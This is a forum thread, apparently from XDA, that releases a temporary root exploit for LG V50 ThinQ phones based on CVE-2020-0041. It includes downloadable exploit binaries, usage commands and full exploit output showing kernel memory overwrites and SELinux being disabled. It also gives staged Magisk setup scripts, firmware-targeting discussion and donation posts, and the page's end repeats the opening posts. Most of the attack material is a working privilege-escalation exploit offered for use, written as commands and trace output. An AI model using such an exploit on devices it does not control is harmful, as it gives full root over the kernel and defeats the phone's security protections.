[LG V50] temp root exploit via CVE-2020-0041 including magisk setup

Search This thread

j4nn

Senior Member
Jan 4, 2012
1,286
2,510
temp root exploit for LG V50 ThinQ with android 10 firmware
including temporal magisk setup from the exploit

The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
I have adapted the Pixel 3 specific exploit for kernel 4.14 that is used with LG phones running Android 10 with March security patch level.
This work has been done upon request of @Inerent who contributed not only with very fine donations, but also did all the testing on his LG phone, as I do not own any LG phone myself.

As an addon I have implemented setup of magisk v20.4 from temp root exploit included su permission asking notification support, that has been also a hell of work to get working.

SUPPORTED TARGETS
You can find currently running fw version with 'getprop ro.vendor.lge.factoryversion' command run in an adb shell.
  • LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0 - LG V50 ThinQ with V500N20m fw, 2020-03-01 security patch level
  • LMV500NAT-00-V20f-LAO-COM-JAN-31-2020+0 - LG V50 ThinQ with V500N20f fw, 2020-01-01 security patch level
  • LMV500NAT-00-V20b-LAO-COM-DEC-23-2019+0 - LG V50 ThinQ with V500N20b fw, 2019-12-01 security patch level
  • LMV500AT-00-V20g-LAO-COM-MAR-10-2020+0
  • LMV500AT-00-V20a-LAO-COM-JAN-24-2020+0
  • LMV500AT-00-V20e-LAO-COM-JAN-23-2020+0
  • LMV450AT-00-V20a-LAO-COM-JAN-15-2020-ARB00+2 - LG V50 ThinQ Sprint fw, 2020-01-01 security patch level
Please note, it is unlikely that any other fw version than those listed above would work.
The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.

USAGE HOWTO
  • be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
  • enable developer mode options and in there adb debugging (eventually install adb drivers)
  • download the v50g8-mroot3.zip with the exploit attached in this post and unzip it
  • use 'adb push v50g8-mroot3 /data/local/tmp' and get temp root with following commands in 'adb shell':
    Code:
    cd /data/local/tmp
    chmod 755 ./v50g8-mroot3
    ./v50g8-mroot3

If it worked, you should see something like this:
Code:
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
...
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # getenforce
Permissive
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root) context=kernel
root_by_cve-2020-0041:/data/local/tmp #

In case you get 'target is not supported', you may list supported targets with
Code:
./v50g8-mroot3 -T
and try to force one close to yours using '-t num' option.

Please see the 2nd post for magisk setup from temp root details.

Please be careful what you use the temp root for.
Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot partition, can result with a not anymore booting phone.
In such case you would need a way to emergency flash stock firmware to recover.
This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions until bootloader unlock is achieved.
Some partitions might still be possible to modify - for example in case of sony xperia phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.

SOURCES
Exploit sources for all releases are available at my github here.

CREDITS
Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.

DONATIONS
If you like my work, you can donate using the Donate to Me button with several methods there.

Already donated:
Thank you very much to all who donated or are about to donate.

DOWNLOAD
 

Attachments

  • V500N20m-testJ.zip
    17 KB · Views: 1,681
  • v50g8-root.zip
    18.2 KB · Views: 1,334
  • v50g8-mroot.zip
    21.4 KB · Views: 884
  • v50g8-mroot2.zip
    21.7 KB · Views: 631
  • v50g8-mroot3.zip
    20.7 KB · Views: 1,417
Last edited:

j4nn

Senior Member
Jan 4, 2012
1,286
2,510
MAGISK SETUP FROM TEMP ROOT WITH LOCKED BOOTLOADER
To enjoy the temporal root with apps asking for root permission, you can now start magisk v20.4 from the root shell provided by the exploit.
  • download the v50g8-mroot3.zip with the exploit attached in the first post
  • download Magisk-v20.4.zip from magisk releases page on github here
  • use 'adb push v50g8-mroot3.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
  • unzip and prepare magisk setup with following commands in 'adb shell'
    Code:
    cd /data/local/tmp
    unzip v50g8-mroot3.zip
    chmod 755 v50g8-mroot3 magisk-setup.sh magisk-start.sh
    ./magisk-setup.sh
  • get temp root and start magisk up with following commands in 'adb shell':
    Code:
    cd /data/local/tmp
    ./v50g8-mroot3
    ./magisk-start.sh -1
    ./magisk-start.sh -2
    ./magisk-start.sh -3
    just this point should be done after each reboot to get magisk running again.
    NOTE: please be sure to enter each command separately, line after line - do not paste all in a single block and do not put them in a script.
    There are reasons this is divided in 3 stages. With this approach I got the best stability, while putting ./v50g8-mroot3 together with -1 and/or -2 stuff in a single script run resulted with a reboot most of the time.
    Phases 2 and 3 need to be split for functional reasons to start magisk with working su permission asking notification.

If it worked, you should see something like this:

Code:
flashlmdd:/ $ cd /data/local/tmp
flashlmdd:/data/local/tmp $ ./v50g8-mroot3
[+] factoryversion = LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd07822fa00
[+] file epitem at ffffffd102da6d00
[+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
[+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9dee01ebf8
[+] kernel base: ffffff9dece80000
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
[+] init_cred: ffffff9def02fcd0
[+] memstart_addr: 0xfffffff040000000
[+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
[+] Second level entry: ae419003 -> next table at ffffffd06e419000
[+] sysctl_table_root = ffffff9def05c710
[+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
[+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffd07822fa20
[+] epitem.prev = ffffffd07822fad8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1                                                                                                                                                     
+ FRESH=false 
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2                                                                                                                                                     
+ FRESH=false 
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=2 
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ false
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config 
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config 
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=14148 
+ '[' -z 14148 ']'
+ >/sbin/.magisk/escalate 
+ echo 14148
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3                                                                                                                                                     
+ FRESH=false 
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3 
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd 
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC='' 
+ timeout=10 
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10 
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=14165 
+ '[' -n 14165 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10 
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9 
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp # id                                                                                                                                                                       
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
root_by_cve-2020-0041:/data/local/tmp # uname -a
Linux localhost 4.14.117-perf #1 SMP PREEMPT Tue Mar 10 18:44:38 KST 2020 aarch64
root_by_cve-2020-0041:/data/local/tmp # getenforce                                                                                                                                                               
Permissive

Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
You can even re-enable selinux like this from 'adb shell':
Code:
su -c 'setenforce 1'
The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.

TIPS FOR BETTER STABILITY OF THE EXPLOIT
The exploit works based on use after free, that means it depends on state of memory heap and how it changes during exploit time.
That means there is some portion of unpredictability and a chance that something else is overwritten than hoped for by shaping the heap.
So to get best results, one should stop anything that could run in background, like:
  • set airplain mode, turn off wifi and bluetooth so there is no data connection at all
  • set "Stay awake" to ON while charging (i.e. using adb shell) in developer options
  • disable auto updates of system and apps
  • debloat your system so useless apps do not run in background
  • reboot your phone having all the above
  • wait two minutes after boot up with phone unlocked, screen on connected to PC via usb cable having 'adb shell' already active (checking with 'uptime' command)
  • start the exploit
  • after getting root shell and succesfuly starting magisk, do not forget to properly exit the temp root shell by use of 'exit' command two times, so the 'adb shell' with the exploit is ended with the rest of clean up
CHANGELOG
  • 2020-05-11 : Initial release (V500N20m-testJ) supporting V500N20m all Korean variants
  • 2020-05-16 : multiple targets supported (v50g8-root)
  • 2020-05-20 : v50g8-dump tool to dump kernel space memory available in G8 thread
  • 2020-05-24 : implemented support for magisk start from the exploit (v50g8-mroot), added support for V50 Sprint with 2020-01-01 security patch level
  • 2020-06-10 : fixed problem when V50 rebooted/crashed soon after obtaining temp root shell, released as v50g8-mroot2
  • 2020-06-23 : hopefully stability improved even more with V50 allowing stable magisk start from temp root, released as v50g8-mroot3
 
Last edited:

Inerent

Senior Member
Oct 6, 2017
1,024
402
43
Bucharest
Ok guys, OK!!!!
Here is a guide made for noobs for Root (download, extract and copy root file inside platform tools folder) and Backup in it, using Adb Platform Tools

Root and Backup V50 Korea

1. Download LG V50 Root (extract it and copy inside platform tools folder), Platform Tools ADB and LG USB Drivers 4.4.2 and install it
https://xdaforums.com/v50-thinq/development/lg-v50-temp-root-exploit-via-cve-2020-t4098077
https://www.mediafire.com/file/mu78ydkoalgfzyd/platform_tools_adb.zip/file
http://tool.lime.gdms.lge.com/dn/downloader.dev?fileKey=UW00120120425

2. Connect USB then Enable Developer Options and USB Debugging and enable Stay Awake Screen

3. Turn off wifi, data, bluetooth restart phone, unlock screen and let it 1 minute to load all processes

4. Run Power shell command from inside platform tools folder (SHIFT+right mouse and open power shell here) and type cmd and hit enter

5. Run command - adb devices - a pupup should appear on your phone - tap Allow and Remember it on your phone!

6. Run one by one the following commands

adb push V500N20m-testJ /data/local/tmp
adb shell
cd /data/local/tmp
chmod 755 ./V500N20m-testJ
./V500N20m-testJ

7. When rooted you will have this lines in terminal
[*] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp #

If root is not achieved or phone restarts by itself repeat from step 3

Backup Important non KDZ Stuff like IMEI

1. Download this file backupselected.sh and move it inside your adb program This is already pushed to Platform Tools folder so ignore it
https://www.mediafire.com/file/gh00t76n4ctc061/backupselected.sh/file


2. Run this command from cmd
adb push backupselected.sh /data/local/tmp

3. Obtain Temp Root and from root shell run these
chmod -R 777 /data/local/tmp
./backupselected.sh

4. Backup will be saved in Download folder on your phone

Usefull Commands - Maybe @j4nn can help us with more usefull commands
rm *.* - delete all files
rm -rf (folder name) - delete that folder
adb push (folder or file name) /data/local/tmp - copy that folder or file name to that /data/local/tmp address
cd /data/local/tmp - then - pm install (appname) - installs it
 
Last edited:

Fonseca0303

Member
Jul 16, 2019
12
2
Excellent someday we will have the Bootloader unlocked and for being to install the R

:pags
temp root exploit for LG V50 ThinQ with android 10 firmware

...................................................................Mod Edit: Removed bulk of unnecessarily quoted OP.........................................................
Thank you very much to all who donated or are about to donate.

DOWNLOAD

Mod Edit: Please DO NOT quote the entire OP. Either use HIDE tags or trim the quote as I did. Thank you.
 
Last edited by a moderator:

j4nn

Senior Member
Jan 4, 2012
1,286
2,510
Received 150 USD to my paypal from Kevin Borges with following comment:
KanBorges said:
Thank you so much for your work. This is all the money in the bounty I set up on Gofundme. com. My username in XDA is @KanBorges . Again, thank you! Hopefully you can get twrp/magisk soon.
Thank you and all other contributors for the donations.
I've updated the first post (not only the donations list but added some more clarifications too).

Please note, as discussed since beginning with @Inerent, only the temp root exploit has been supposed to be implemented by me.
There is however available an engineering booloader, that may eventually allow to unlock bootloader after flashing from temp root.
This needs to be tested first and can involve some risks to brick the phone.
I do not own any LG phone (and do not even want one), so I am not doing that, sorry.

But I've already checked few things regarding the engineering bootloader and I can conclude, that it could be compatible in the sense that it most likely would not brick the device.
The reason I see that comparing stock firmware ABL image and the eng bootloader (aka ABL) seems that both use the same signing root certificate and they both have identical OU info in the signature certificate:
Code:
        OU=07 0001 SHA256,
        OU=06 0000 MODEL_ID,
        OU=05 00000000 SW_SIZE,
        OU=04 0031 OEM_ID,
        OU=03 0000000000000001 DEBUG,
        OU=02 000A50E100310000 HW_ID,
        OU=01 000000000000001C SW_ID
If it would work with android 10 is another question though.
Please find attached source for split utility, to get some parts of the image likely to start with a signature certificate.
Those parts then can be converted to text form representation of the certificate via following command for example:
Code:
openssl x509 -in LUN4_abl_a_COM3.img-001238 -inform der -text -noout > LUN4_abl_a_COM3.img-001238.txt
 

Attachments

  • split.c
    867 bytes · Views: 94

Inerent

Senior Member
Oct 6, 2017
1,024
402
43
Bucharest
Yes, Jann, thats true. But thx for helping us with some advices. I hope we are a big community (also users are coming from LG v30 and V40) and will figure this out, or rise another bounty if not.
Thx for helping us!
 
  • Like
Reactions: mateus.sc and j4nn

j4nn

Senior Member
Jan 4, 2012
1,286
2,510
LG G8

Inerent said:
It seems this lg g820UM is the code for all USA carriers and Canada and should work for all like for koreans
If you do March root it will be compatible with February or January? If yes then pick March firmware.

Firmwares here.:
https://lg-firmwares.com/lg-lmg820um-firmwares/

Please note, if the exploit works with March firmware, it does not make it compatible with any other older firmwares, even if they are vulnerable.
The kernel build (binary image) is different there, i.e. it would need different offsets in the exploit to succeed.
The reason for selecting March security patch level with LG V50, i.e. the V500N20m firmware version, has been in order to exploit the newest still exploitable firmware.
The bug has been fixed in LG kernel since April security patch level, so using March fw allows you to use the latest still vulnerable and the most up to date fw for the temp root.

For other targets like the G8 might be useful to select other fw version if there are multiple variants that would use identical kernel binary image, possibly even not having a downloadable fw release for a variant, while existing for another variant (this may be a case if phone variants have identical or nearly the same hw).
 

TheLoonyRebel

Senior Member
Mar 20, 2010
2,376
1,274
Amazon Fire TV
Nexus Player
For other targets like the G8 might be useful to select other fw version if there are multiple variants that would use identical kernel binary image, possibly even not having a downloadable fw release for a variant, while existing for another variant (this may be a case if phone variants have identical or nearly the same hw).

The difficult thing is that the G8 variants are all over the place with which firmware/security patch they are on. My T-Mobile variant (G820TM) is on January 2020 meanwhile say the Verizon variant (G820UM) is on February 2020. So it's a mess which pretty much tells me each variant will need to have it's own exploit made for it.

Edit: Just found out the G820UM just got the April security update. KDZ isn't out yet for that.
 
Last edited:

antintin

Senior Member
Sep 11, 2019
595
143
LG V40
LG G8
Please note, if the exploit works with March firmware, it does not make it compatible with any other older firmwares, even if they are vulnerable.
The kernel build (binary image) is different there, i.e. it would need different offsets in the exploit to succeed.
The reason for selecting March security patch level with LG V50, i.e. the V500N20m firmware version, has been in order to exploit the newest still exploitable firmware.
The bug has been fixed in LG kernel since April security patch level, so using March fw allows you to use the latest still vulnerable and the most up to date fw for the temp root.

For other targets like the G8 might be useful to select other fw version if there are multiple variants that would use identical kernel binary image, possibly even not having a downloadable fw release for a variant, while existing for another variant (this may be a case if phone variants have identical or nearly the same hw).
Hello, I've been talking to inherent on telegram; I think he sent you some of my outputs / logs. I'm sorry I haven't been able to donate as I'm unfortunately not old enough to do so. I've got a Sprint g8 which is stuck on the Android 10 beta on November patch. If you adapt this for other g820um variants, will it likely work with my patch or not?
 

j4nn

Senior Member
Jan 4, 2012
1,286
2,510
@AngryManMLS, most likely April security fixed the bug making it not exploitable anymore.
Yes, each kernel build/image would need specific support in the exploit.
@antintin, I need the binary image of kernel used in the firmware that is running the phone we would target with the temp root exploit in order to develop support for it.
Is your Android 10 beta on November patch firmware downloadable anywhere?
Or can you flash any other firmware?
Can you say which G8 model/carrier would have identical hardware to your Sprint G8, while having a downloadable fw?
 
  • Like
Reactions: antintin

antintin

Senior Member
Sep 11, 2019
595
143
LG V40
LG G8
@AngryManMLS, most likely April security fixed the bug making it not exploitable anymore.
Yes, each kernel build/image would need specific support in the exploit.

@antintin, I need the binary image of kernel used in the firmware that is running the phone we would target with the temp root exploit in order to develop support for it.
Is your Android 10 beta on November patch firmware downloadable anywhere?
Or can you flash any other firmware?
Can you say which G8 model/carrier would have identical hardware to your Sprint G8, while having a downloadable fw?
Well I'm not entirely certain, maybe I can ask vl48. I think any g820um should be fine though. I doubt there is any beta kdz available to download, however. I unfortunately can only go on the final pie version or November patch beta 10 on my Sprint. My updates are broken :
 

quantan

Senior Member
Jan 26, 2011
341
162
After the temp root, can we flash Magisk patched boot img to /dev/block/bootdevice/by-name/boot_a or something like that? Does it still work after a reboot :D
 

snake65

Senior Member
May 19, 2009
639
128
Adelaide
Would be good to at least have android 10 on the Australian V50 but we can't even get that.
Will never buy lg again.
 

hooutoo

Senior Member
Apr 17, 2009
544
123
Ft. Lauderdale
Would be good to at least have android 10 on the Australian V50 but we can't even get that.
Will never buy lg again.

I have to agree with you on this one. Right now, LG is getting it's lunch eaten by many Chinese OEMs and their bleeding cash in the smartphone business. LG latest "FLAGSHIP", the V60, is a d*** joke when comparing it's 60Hz screen refresh rate to any new smartphone. It's selling for $809.99 new on Tmob and their already selling for less than $700 on Ebay. By end of summer, $390?

I too "Will never buy LG again!".

BTW, I have an Essential PH-1, admittedly old hardware but I'm already running Android 11 DP4 as a daily with very few problems. The V50 won't see 11 for what....... 18 months?
 
Last edited:

Top Liked Posts

  • There are no posts matching your filters.
  • 28
    temp root exploit for LG V50 ThinQ with android 10 firmware
    including temporal magisk setup from the exploit

    The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
    I have adapted the Pixel 3 specific exploit for kernel 4.14 that is used with LG phones running Android 10 with March security patch level.
    This work has been done upon request of @Inerent who contributed not only with very fine donations, but also did all the testing on his LG phone, as I do not own any LG phone myself.

    As an addon I have implemented setup of magisk v20.4 from temp root exploit included su permission asking notification support, that has been also a hell of work to get working.

    SUPPORTED TARGETS
    You can find currently running fw version with 'getprop ro.vendor.lge.factoryversion' command run in an adb shell.
    • LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0 - LG V50 ThinQ with V500N20m fw, 2020-03-01 security patch level
    • LMV500NAT-00-V20f-LAO-COM-JAN-31-2020+0 - LG V50 ThinQ with V500N20f fw, 2020-01-01 security patch level
    • LMV500NAT-00-V20b-LAO-COM-DEC-23-2019+0 - LG V50 ThinQ with V500N20b fw, 2019-12-01 security patch level
    • LMV500AT-00-V20g-LAO-COM-MAR-10-2020+0
    • LMV500AT-00-V20a-LAO-COM-JAN-24-2020+0
    • LMV500AT-00-V20e-LAO-COM-JAN-23-2020+0
    • LMV450AT-00-V20a-LAO-COM-JAN-15-2020-ARB00+2 - LG V50 ThinQ Sprint fw, 2020-01-01 security patch level
    Please note, it is unlikely that any other fw version than those listed above would work.
    The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.

    USAGE HOWTO
    • be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
    • enable developer mode options and in there adb debugging (eventually install adb drivers)
    • download the v50g8-mroot3.zip with the exploit attached in this post and unzip it
    • use 'adb push v50g8-mroot3 /data/local/tmp' and get temp root with following commands in 'adb shell':
      Code:
      cd /data/local/tmp
      chmod 755 ./v50g8-mroot3
      ./v50g8-mroot3

    If it worked, you should see something like this:
    Code:
    [+] Mapped 200000
    [+] selinux_enforcing before exploit: 1
    ...
    [+] Launching privileged shell
    root_by_cve-2020-0041:/data/local/tmp # getenforce
    Permissive
    root_by_cve-2020-0041:/data/local/tmp # id
    uid=0(root) gid=0(root) groups=0(root) context=kernel
    root_by_cve-2020-0041:/data/local/tmp #

    In case you get 'target is not supported', you may list supported targets with
    Code:
    ./v50g8-mroot3 -T
    and try to force one close to yours using '-t num' option.

    Please see the 2nd post for magisk setup from temp root details.

    Please be careful what you use the temp root for.
    Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot partition, can result with a not anymore booting phone.
    In such case you would need a way to emergency flash stock firmware to recover.
    This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions until bootloader unlock is achieved.
    Some partitions might still be possible to modify - for example in case of sony xperia phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.

    SOURCES
    Exploit sources for all releases are available at my github here.

    CREDITS
    Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.

    DONATIONS
    If you like my work, you can donate using the Donate to Me button with several methods there.

    Already donated:
    Thank you very much to all who donated or are about to donate.

    DOWNLOAD
    8
    MAGISK SETUP FROM TEMP ROOT WITH LOCKED BOOTLOADER
    To enjoy the temporal root with apps asking for root permission, you can now start magisk v20.4 from the root shell provided by the exploit.
    • download the v50g8-mroot3.zip with the exploit attached in the first post
    • download Magisk-v20.4.zip from magisk releases page on github here
    • use 'adb push v50g8-mroot3.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
    • unzip and prepare magisk setup with following commands in 'adb shell'
      Code:
      cd /data/local/tmp
      unzip v50g8-mroot3.zip
      chmod 755 v50g8-mroot3 magisk-setup.sh magisk-start.sh
      ./magisk-setup.sh
    • get temp root and start magisk up with following commands in 'adb shell':
      Code:
      cd /data/local/tmp
      ./v50g8-mroot3
      ./magisk-start.sh -1
      ./magisk-start.sh -2
      ./magisk-start.sh -3
      just this point should be done after each reboot to get magisk running again.
      NOTE: please be sure to enter each command separately, line after line - do not paste all in a single block and do not put them in a script.
      There are reasons this is divided in 3 stages. With this approach I got the best stability, while putting ./v50g8-mroot3 together with -1 and/or -2 stuff in a single script run resulted with a reboot most of the time.
      Phases 2 and 3 need to be split for functional reasons to start magisk with working su permission asking notification.

    If it worked, you should see something like this:

    Code:
    flashlmdd:/ $ cd /data/local/tmp
    flashlmdd:/data/local/tmp $ ./v50g8-mroot3
    [+] factoryversion = LMV500NAT-00-V20m-LAO-COM-MAR-10-2020+0
    [+] Mapped 200000
    [+] selinux_enforcing before exploit: 1
    [+] pipe file: 0xffffffd07822fa00
    [+] file epitem at ffffffd102da6d00
    [+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
    [+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
    [+] Write done, should have arbitrary read now.
    [+] file operations: ffffff9dee01ebf8
    [+] kernel base: ffffff9dece80000
    [+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
    [+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
    [+] init_cred: ffffff9def02fcd0
    [+] memstart_addr: 0xfffffff040000000
    [+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
    [+] Second level entry: ae419003 -> next table at ffffffd06e419000
    [+] sysctl_table_root = ffffff9def05c710
    [+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
    [+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
    [+] Injected sysctl node!
    [+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Replaced sendmmsg dangling reference
    [+] Cleaned up sendmsg threads
    [+] epitem.next = ffffffd07822fa20
    [+] epitem.prev = ffffffd07822fad8
    [+] Launching privileged shell
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1                                                                                                                                                     
    + FRESH=false 
    + '[' -1 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + ./magiskpolicy --live --magisk 'allow dumpstate * * *'
    Load policy from: /sys/fs/selinux/policy
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2                                                                                                                                                     
    + FRESH=false 
    + '[' -2 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + STAGE=2 
    + '[' 2 '=' 2 ']'
    + mount -t tmpfs -o 'mode=755' none /sbin
    + chcon u:object_r:rootfs:s0 /sbin
    + chmod 755 /sbin
    + cp -a magisk/boot_patch.sh /sbin
    + cp -a magisk/magiskboot /sbin
    + cp -a magisk/magiskinit64 /sbin
    + cp -a magisk/busybox /sbin
    + cp -a magisk/util_functions.sh /sbin
    + cd /sbin
    + chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
    + mkdir r
    + mount -o bind / r
    + cp -a r/sbin/. /sbin
    + umount r
    + rmdir r
    + mv magiskinit64 magiskinit
    + ./magiskinit -x magisk magisk
    + ln -s /sbin/magiskinit /sbin/magiskpolicy
    + ln -s /sbin/magiskinit /sbin/supolicy
    + false
    + chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
    + rm -f magiskboot util_functions.sh boot_patch.sh
    + ln -s /sbin/magisk /sbin/su
    + ln -s /sbin/magisk /sbin/resetprop
    + ln -s /sbin/magisk /sbin/magiskhide
    + mkdir /sbin/.magisk
    + chmod 755 /sbin/.magisk
    + >/sbin/.magisk/config 
    + echo 'KEEPVERITY=true'
    + >>/sbin/.magisk/config 
    + echo 'KEEPFORCEENCRYPT=true'
    + chmod 000 /sbin/.magisk/config
    + mkdir -p /sbin/.magisk/busybox
    + chmod 755 /sbin/.magisk/busybox
    + mv busybox /sbin/.magisk/busybox
    + mkdir -p /sbin/.magisk/mirror
    + chmod 000 /sbin/.magisk/mirror
    + mkdir -p /sbin/.magisk/block
    + chmod 000 /sbin/.magisk/block
    + mkdir -p /sbin/.magisk/modules
    + chmod 755 /sbin/.magisk/modules
    + mkdir -p /data/adb/modules
    + chmod 755 /data/adb/modules
    + mkdir -p /data/adb/post-fs-data.d
